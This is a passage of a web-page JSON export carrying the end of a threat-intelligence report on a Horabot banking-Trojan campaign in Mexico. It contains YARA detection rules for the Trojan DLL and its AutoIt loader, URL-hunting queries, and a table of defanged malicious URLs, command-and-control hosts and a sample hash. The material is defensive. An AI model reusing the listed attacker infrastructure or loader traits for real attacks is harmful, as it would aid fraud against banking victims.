srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/03\/18103905\/horabot-campaign-collage.png 844w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/03\/18103905\/horabot-campaign-collage-213x300.png 213w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/03\/18103905\/horabot-campaign-collage-728x1024.png 728w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/03\/18103905\/horabot-campaign-collage-768x1080.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/03\/18103905\/horabot-campaign-collage-249x350.png 249w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/03\/18103905\/horabot-campaign-collage-711x1000.png 711w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/03\/18103905\/horabot-campaign-collage-199x280.png 199w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/03\/18103905\/horabot-campaign-collage-640x900.png 640w\" sizes=\"auto, (max-width: 844px) 100vw, 844px\"><\/a><\/p>\n<h2 id=\"detection-engineering-and-threat-hunting-opportunities\">Detection engineering and threat hunting opportunities<\/h2>\n<p>After navigating this long, layered attack chain, we bet some of the tech folks reading this have already started imagining potential detection opportunities.<br \/>\nWith that in mind, this section provides some rules and queries that you can use to detect and hunt this threat in your own environment.<\/p>\n<h3 id=\"yara-rules\">YARA rules<\/h3>\n<p>The YARA rules focus on two core components of the operation: the AutoIt script that functions as the loader, and the Delphi DLL that serves as the banking Trojan.<\/p>\n<pre class=\"urvanov-syntax-highlighter-plain-tag\">import \"pe\"\r\n\r\nrule Horabot_Delphi_Trojan\r\n{\r\n    meta:\r\n        author = \"maT\"\r\n        description = \"Detects Horabot payload\/trojan (Delphi DLL)\"\r\n        hash_01 = \"6272ef6ac1de8fb4bdd4a760be7ba5ed\"\r\n        hash_02 = \"4caa797130b5f7116f11c0b48013e430\"\r\n        hash_03 = \"c882d948d44a65019df54b0b2996677f\"\r\n\r\n    condition:\r\n        uint32be(0) == 0x4d5a5000 and \r\n        filesize &lt; 150MB and \r\n        pe.is_dll() and\r\n        pe.number_of_exports == 4 and\r\n        pe.exports(\"dbkFCallWrapperAddr\") and\r\n        pe.exports(\"__dbk_fcall_wrapper\") and\r\n        pe.exports(\"TMethodImplementationIntercept\") and\r\n        pe.exports(\/^[A-Z][0-9]{6}_[A-Z0-9]$\/)\r\n}\r\n\r\nrule Horabot_AutoIT_Loader\r\n{\r\n    meta:\r\n        author = \"maT\"\r\n        description = \"Detects AutoIT script used as a loader by Horabot\"\r\n    \r\n    strings:\r\n        $winapi_01 = \"Advapi32.dll\"\r\n        $winapi_02 = \"CryptDeriveKey\"\r\n        $winapi_03 = \"CryptDecrypt\"\r\n        $winapi_04 = \"MemoryLoadLibrary\"\r\n        $winapi_05 = \"VirtualAlloc\"\r\n        $winapi_06 = \"DllCallAddress\"\r\n\r\n        $str_seed = \"99521487\"\r\n        $str_func01 = \"B080723_N\"\r\n        $str_func02 = \"A040822_1\"\r\n\r\n        $opt_hexstr01 = { 20 3D 20 22 ?? ?? ?? ?? ?? ?? ?? 5F ?? 22 20 0D 0A 4C 6F 63 61 6C 20 24} \/\/ = \"B080723_N\" CRLF Local $\r\n        $opt_aes192 = \"0x0000660f\" \/\/ CALG_AES_192\r\n        $opt_md5 = \"0x00008003\" \/\/ CALG_MD5      \r\n\r\n    condition:\r\n        filesize &lt; 100KB and\r\n        all of ($winapi*) and\r\n        (\r\n            1 of ($str*) or\r\n            all of ($opt*)\r\n        )\r\n\r\n}<\/pre>\n<\/p>\n<h3 id=\"hunting-queries\">Hunting queries<\/h3>\n<p>You may notice that some patterns in this section do not appear in the URLs described earlier in the article. These additional patterns were included because we observed small variations introduced by the threat actor over time, such as the use of QR codes in the lure pages.<\/p>\n<table>\n<tbody>\n<tr>\n<td>VirusTotal Intelligence<\/td>\n<td>entity:url (url:\u201d0DOWN1109\u2033 or url:\u201d0QR-CODE\u201d or url:\u201d0zip0408\u2033 or url:\u201d0out0408\u2033 or url:\u201d0capcha17\u2033 or url:\u201d\/g1\/ld1\/\u201d or url:\u201d\/g1\/auxld1\u2033 or url:\u201d\/au\/gerapdf\/blqs1\u2033 or url:\u201d\/au\/gerauto.php\u201d or url:\u201dg1\/ctld\u201d or url:\u201dindex25.php\u201d or url:\u201d07f07ffc-028d\u201d or url:\u201d0AT14\u2033 or url:\u201d0sen711\u2033) or (url:\u201dindex15.php\u201d and (url:\u201d\/on7\u2033 or url:\u201d\/on7all\u201d or url:\u201d\/inf\u201d))<\/td>\n<\/tr>\n<tr>\n<td>URLScan<\/td>\n<td>page.url.keyword:\/.*\/([0-9]{6}|reserva)\/(au|up)\/.*\/ OR page.url:(*0DOWN1109* OR *0QR-CODE* OR *0zip0408* OR *0out0408* OR *0capcha17* OR *\/g1\/ld1* OR *\/g1\/auxld1* OR *\/au\/gerapdf\/blqs1* OR *\/au\/gerauto.php* OR *\/g1\/ctld* OR *\/index25.php OR *\/index15.php)<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2 id=\"iocs\">IoCs<\/h2>\n<table>\n<tbody>\n<tr>\n<td><strong>Indicator<\/strong><\/td>\n<td><strong>Description<\/strong><\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/opentip.kaspersky.com\/https%3A%2F%2Fevs.grupotuis.buzz%2F0capcha17%2F\/?icid=gl_sl_opentip-lnk_sm-team_7f3de73612a1bb01&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">hxxps:\/\/evs.grupotuis[.]buzz\/0capcha17\/<\/a><\/td>\n<td>Fake CAPTCHA page<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/opentip.kaspersky.com\/https%3A%2F%2Fevs.grupotuis.buzz%2F0capcha17%2Fdmeenliggb.hta\/?icid=gl_sl_opentip-lnk_sm-team_1115cd4c3741e3d6&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">hxxps:\/\/evs.grupotuis[.]buzz\/0capcha17\/DMEENLIGGB.hta<\/a><\/td>\n<td>HTA file<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/opentip.kaspersky.com\/https%3A%2F%2Fevs.grupotuis.buzz%2F0capcha17%2Fdmeenliggb%2Fgrxuoiwcekvx\/?icid=gl_sl_opentip-lnk_sm-team_bc9a407ac3a05e94&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">hxxps:\/\/evs.grupotuis[.]buzz\/0capcha17\/DMEENLIGGB\/GRXUOIWCEKVX<\/a><\/td>\n<td>JavaScript Loader 01<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/opentip.kaspersky.com\/https%3A%2F%2Fpdj.gruposhac.lat%2Fg1%2Fld1%2F\/?icid=gl_sl_opentip-lnk_sm-team_4e2e5b17eedb516c&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">hxxps:\/\/pdj.gruposhac[.]lat\/g1\/ld1\/<\/a><\/td>\n<td>VBS Polymorphic 01<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/opentip.kaspersky.com\/https%3A%2F%2Fpdj.gruposhac.lat%2Fg1%2Fauxld1\/?icid=gl_sl_opentip-lnk_sm-team_ece2e73e27b67cc7&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">hxxps:\/\/pdj.gruposhac[.]lat\/g1\/auxld1<\/a><\/td>\n<td>JavaScript Loader 02<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/opentip.kaspersky.com\/https%3A%2F%2Fpdj.gruposhac.lat%2Fg1%2F\/?icid=gl_sl_opentip-lnk_sm-team_c2bd63ddb312116f&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">hxxps:\/\/pdj.gruposhac[.]lat\/g1\/<\/a><\/td>\n<td>VBS Polymorphic 02 (heavy lifter)<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/opentip.kaspersky.com\/https%3A%2F%2Fpdj.gruposhac.lat%2Fg1%2Fctld%2F\/?icid=gl_sl_opentip-lnk_sm-team_5a892adced07870b&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">hxxps:\/\/pdj.gruposhac[.]lat\/g1\/ctld\/<\/a><\/td>\n<td>List of victims<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/opentip.kaspersky.com\/https%3A%2F%2Fpdj.gruposhac.lat%2Fg1%2Fgerador.php\/?icid=gl_sl_opentip-lnk_sm-team_0430b45b28db5960&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">hxxps:\/\/pdj.gruposhac[.]lat\/g1\/gerador.php<\/a><\/td>\n<td>Link to download AutoIT script<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/opentip.kaspersky.com\/https%3A%2F%2Fcgf.facturastbs.shop%2F0725%2Fa%2Fhome\/?icid=gl_sl_opentip-lnk_sm-team_f0769bfa4cf4695b&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">hxxps:\/\/cgf.facturastbs[.]shop\/0725\/a\/home<\/a> (GET)<\/td>\n<td>List of C2 addresses encrypted<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/opentip.kaspersky.com\/https%3A%2F%2Fcfg.brasilinst.site%2Fa%2Fbr%2Flogs%2Findex.php%3Fchlg\/?icid=gl_sl_opentip-lnk_sm-team_f6fa3c8fadaba9cf&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">hxxps:\/\/cfg.brasilinst[.]site\/a\/br\/logs\/index.php?CHLG<\/a> (POST)<\/td>\n<td>Contacted by the Delphi DLL<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/opentip.kaspersky.com\/https%3A%2F%2Faufal.filevexcasv.buzz%2Fon7%2Findex15.php\/?icid=gl_sl_opentip-lnk_sm-team_3b0055da9552d6da&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">hxxps:\/\/aufal.filevexcasv[.]buzz\/on7\/index15.php<\/a> (POST)<br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/https%3A%2F%2Faufal.filevexcasv.buzz%2Fon7all%2Findex15.php\/?icid=gl_sl_opentip-lnk_sm-team_2348a72e174524e8&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">hxxps:\/\/aufal.filevexcasv[.]buzz\/on7all\/index15.php<\/a> (POST)<\/td>\n<td>Contacted by the Delphi DLL<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/opentip.kaspersky.com\/https%3A%2F%2Fcgf.facturastbs.shop%2Fa%2F08%2F150822%2Fau%2Fat.html\/?icid=gl_sl_opentip-lnk_sm-team_d67569afd04fd252&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">hxxps:\/\/cgf.facturastbs[.]shop\/a\/08\/150822\/au\/at.html<\/a><\/td>\n<td>Contacted by the Delphi DLL<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/opentip.kaspersky.com\/https%3A%2F%2Flabodeguitaup.space%2Fa%2F08%2F150822%2Fau%2Fau\/?icid=gl_sl_opentip-lnk_sm-team_043927488367685e&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">hxxps:\/\/labodeguitaup[.]space\/a\/08\/150822\/au\/au<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/https%3A%2F%2Fcgf.midasx.site%2Fa%2F08%2F150822%2Fau%2Fau\/?icid=gl_sl_opentip-lnk_sm-team_8de95855deff98f7&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">hxxps:\/\/cgf.midasx[.]site\/a\/08\/150822\/au\/au<\/a><\/td>\n<td>PowerShell stager 01<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/opentip.kaspersky.com\/https%3A%2F%2Fcgf.facturastbs.shop%2Fa%2F08%2F150822%2Fau%2Fgerauto.php\/?icid=gl_sl_opentip-lnk_sm-team_b6fe798f14720025&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">hxxps:\/\/cgf.facturastbs[.]shop\/a\/08\/150822\/au\/gerauto.php<\/a><\/td>\n<td>PowerShell stager 02<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/opentip.kaspersky.com\/https%3A%2F%2Fcgf.facturastbs.shop%2Fa%2F08%2F150822%2Fau%2Fapp\/?icid=gl_sl_opentip-lnk_sm-team_8b3cde463095a932&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">hxxps:\/\/cgf.facturastbs[.]shop\/a\/08\/150822\/au\/app<\/a><\/td>\n<td>Link to download the spreader<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/opentip.kaspersky.com\/https%3A%2F%2Fcgf.facturastbs.shop%2Fa%2F08%2F150822%2Fau%2Fgerapdf%2Fblqs1\/?icid=gl_sl_opentip-lnk_sm-team_6658181616e9d681&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">hxxps:\/\/cgf.facturastbs[.]shop\/a\/08\/150822\/au\/gerapdf\/blqs1<\/a><\/td>\n<td>List of blocklist keywords<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/opentip.kaspersky.com\/https%3A%2F%2Fthea.gruposhac.space%2F0out0408\/?icid=gl_sl_opentip-lnk_sm-team_5bae60f2791fba2d&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">hxxps:\/\/thea.gruposhac[.]space\/0out0408<\/a><\/td>\n<td>Link found in the button of the first malicious attachment<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/opentip.kaspersky.com\/6272ef6ac1de8fb4bdd4a760be7ba5ed\/?icid=gl_sl_opentip-lnk_sm-team_c6ead739add492c9&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">6272EF6AC1DE8FB4BDD4A760BE7BA5ED<\/a><\/td>\n<td>Delphi DLL sample<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/opentip.kaspersky.com\/lifenews.pro\/?icid=gl_sl_opentip-lnk_sm-team_034075e07a90d32d&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">lifenews[.]pro<\/a><\/td>\n<td>C2 (socket)<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/opentip.kaspersky.com\/64.177.80.44\/?icid=gl_sl_opentip-lnk_sm-team_1a4053398dec8ed5&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">64.177.80[.]44<\/a><\/td>\n<td>C2 (socket)<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Introduction In this installment of our SOC Files series, we will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as Horabot, a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex attack chain. Although previous [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"site-container-style":"default","site-container-layout":"default","site-sidebar-layout":"default","disable-article-header":"default","disable-site-header":"default","disable-site-footer":"default","disable-content-area-spacing":"default","footnotes":""},"categories":[90,240,858,99,232,233,859,302,624,857,236,235,257],"tags":[91],"class_list":["post-1980","post","type-post","status-publish","format-standard","hentry","category-cybersecurity","category-financial-threats","category-horabot","category-malware","category-malware-descriptions","category-malware-technologies","category-ponteiro","category-soc-ti-and-ir-posts","category-spammer-techniques","category-the-soc-files","category-trojan","category-trojan-banker","category-windows-malware","tag-cybersecurity"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.7 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>The SOC Files: Time to \u201cSapecar\u201d. Unpacking a new Horabot campaign in Mexico - Imperative Business Ventures Limited<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"The SOC Files: Time to \u201cSapecar\u201d. Unpacking a new Horabot campaign in Mexico - Imperative Business Ventures Limited\" \/>\n<meta property=\"og:description\" content=\"Introduction In this installment of our SOC Files series, we will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as Horabot, a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex attack chain. Although previous [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/\" \/>\n<meta property=\"og:site_name\" content=\"Imperative Business Ventures Limited\" \/>\n<meta property=\"article:published_time\" content=\"2026-03-18T11:04:50+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/03\/12131223\/SL-Horabot-featured-1-990x400.jpg\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"18 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/\"},\"author\":{\"name\":\"admin\",\"@id\":\"https:\/\/blog.ibvl.in\/#\/schema\/person\/55b87b72a56b1bbe9295fe5ef7a20b02\"},\"headline\":\"The SOC Files: Time to \u201cSapecar\u201d. Unpacking a new Horabot campaign in Mexico\",\"datePublished\":\"2026-03-18T11:04:50+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/\"},\"wordCount\":3080,\"image\":{\"@id\":\"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/03\/12131223\/SL-Horabot-featured-1-990x400.jpg\",\"keywords\":[\"Cybersecurity\"],\"articleSection\":[\"Cybersecurity\",\"Financial threats\",\"Horabot\",\"Malware\",\"Malware descriptions\",\"Malware Technologies\",\"Ponteiro\",\"SOC, TI and IR posts\",\"Spammer techniques\",\"The SOC files\",\"Trojan\",\"Trojan Banker\",\"Windows malware\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/\",\"url\":\"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/\",\"name\":\"The SOC Files: Time to \u201cSapecar\u201d. Unpacking a new Horabot campaign in Mexico - Imperative Business Ventures Limited\",\"isPartOf\":{\"@id\":\"https:\/\/blog.ibvl.in\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/03\/12131223\/SL-Horabot-featured-1-990x400.jpg\",\"datePublished\":\"2026-03-18T11:04:50+00:00\",\"author\":{\"@id\":\"https:\/\/blog.ibvl.in\/#\/schema\/person\/55b87b72a56b1bbe9295fe5ef7a20b02\"},\"breadcrumb\":{\"@id\":\"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/#primaryimage\",\"url\":\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/03\/12131223\/SL-Horabot-featured-1-990x400.jpg\",\"contentUrl\":\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/03\/12131223\/SL-Horabot-featured-1-990x400.jpg\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/blog.ibvl.in\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"The SOC Files: Time to \u201cSapecar\u201d. Unpacking a new Horabot campaign in Mexico\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/blog.ibvl.in\/#website\",\"url\":\"https:\/\/blog.ibvl.in\/\",\"name\":\"Imperative Business Ventures Limited\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/blog.ibvl.in\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/blog.ibvl.in\/#\/schema\/person\/55b87b72a56b1bbe9295fe5ef7a20b02\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/blog.ibvl.in\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/4d20b2cd313e4417a599678e950e6fb7d4dfa178a72f2b769335a08aaa615aa9?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/4d20b2cd313e4417a599678e950e6fb7d4dfa178a72f2b769335a08aaa615aa9?s=96&d=mm&r=g\",\"caption\":\"admin\"},\"sameAs\":[\"https:\/\/blog.ibvl.in\"],\"url\":\"https:\/\/blog.ibvl.in\/index.php\/author\/admin_hcbs9yw6\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"The SOC Files: Time to \u201cSapecar\u201d. Unpacking a new Horabot campaign in Mexico - Imperative Business Ventures Limited","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/","og_locale":"en_US","og_type":"article","og_title":"The SOC Files: Time to \u201cSapecar\u201d. Unpacking a new Horabot campaign in Mexico - Imperative Business Ventures Limited","og_description":"Introduction In this installment of our SOC Files series, we will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as Horabot, a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex attack chain. Although previous [&hellip;]","og_url":"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/","og_site_name":"Imperative Business Ventures Limited","article_published_time":"2026-03-18T11:04:50+00:00","og_image":[{"url":"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/03\/12131223\/SL-Horabot-featured-1-990x400.jpg","type":"","width":"","height":""}],"author":"admin","twitter_card":"summary_large_image","twitter_misc":{"Written by":"admin","Est. reading time":"18 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/#article","isPartOf":{"@id":"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/"},"author":{"name":"admin","@id":"https:\/\/blog.ibvl.in\/#\/schema\/person\/55b87b72a56b1bbe9295fe5ef7a20b02"},"headline":"The SOC Files: Time to \u201cSapecar\u201d. Unpacking a new Horabot campaign in Mexico","datePublished":"2026-03-18T11:04:50+00:00","mainEntityOfPage":{"@id":"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/"},"wordCount":3080,"image":{"@id":"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/#primaryimage"},"thumbnailUrl":"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/03\/12131223\/SL-Horabot-featured-1-990x400.jpg","keywords":["Cybersecurity"],"articleSection":["Cybersecurity","Financial threats","Horabot","Malware","Malware descriptions","Malware Technologies","Ponteiro","SOC, TI and IR posts","Spammer techniques","The SOC files","Trojan","Trojan Banker","Windows malware"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/","url":"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/","name":"The SOC Files: Time to \u201cSapecar\u201d. Unpacking a new Horabot campaign in Mexico - Imperative Business Ventures Limited","isPartOf":{"@id":"https:\/\/blog.ibvl.in\/#website"},"primaryImageOfPage":{"@id":"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/#primaryimage"},"image":{"@id":"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/#primaryimage"},"thumbnailUrl":"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/03\/12131223\/SL-Horabot-featured-1-990x400.jpg","datePublished":"2026-03-18T11:04:50+00:00","author":{"@id":"https:\/\/blog.ibvl.in\/#\/schema\/person\/55b87b72a56b1bbe9295fe5ef7a20b02"},"breadcrumb":{"@id":"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/#primaryimage","url":"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/03\/12131223\/SL-Horabot-featured-1-990x400.jpg","contentUrl":"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/03\/12131223\/SL-Horabot-featured-1-990x400.jpg"},{"@type":"BreadcrumbList","@id":"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpac